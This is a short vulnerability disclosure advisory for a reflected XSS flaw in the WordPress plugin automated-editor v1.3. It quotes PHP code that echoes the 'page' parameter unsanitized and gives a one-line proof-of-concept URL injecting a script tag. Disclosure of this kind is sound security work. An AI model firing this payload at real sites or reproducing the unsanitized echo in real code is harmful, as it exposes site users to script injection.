Advisory #: 800
Title: Reflected XSS in wordpress plugin automated-editor v1.3
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/automated-editor
Downloads: 1825
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: automated-editor
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./automated-editor/AutomatedEditor.php: 1300: ?><img src="<?php echo aeplugin_file_url('i/ae-online.png'); ?>" alt="Currently Online - Automated editor is running in live mode!" border="0" id="aecurrentstatusimg"></td><td width="70"><div align="center" style="margin-right:6px;margin-top:4px;"><a href="?page=<?php echo $_GET['page']; ?>&toggle=1"><img src="<?php echo aeplugin_file_url('i/icon-pause.png'); ?>" border="0"></a><br/>[Pause]</div><?php 1303: ?><img src="<?php echo aeplugin_file_url('i/ae-offline.png'); ?>" alt="Currently Paused - Automated editor is not running and is in paused mode!" border="0" id="aecurrentstatusimg"></td><td width="70"><div align="center" style="margin-right:6px;margin-top:4px;"><a href="?page=<?php echo $_GET['page']; ?>&toggle=1"><img src="<?php echo aeplugin_file_url('i/icon-play.png'); ?>" border="0"></a><br/>[Enable]</div><?php The variable page appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./automated-editor/AutomatedEditor.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/automated-editor/AutomatedEditor.php?page="><script>alert(1);</script><"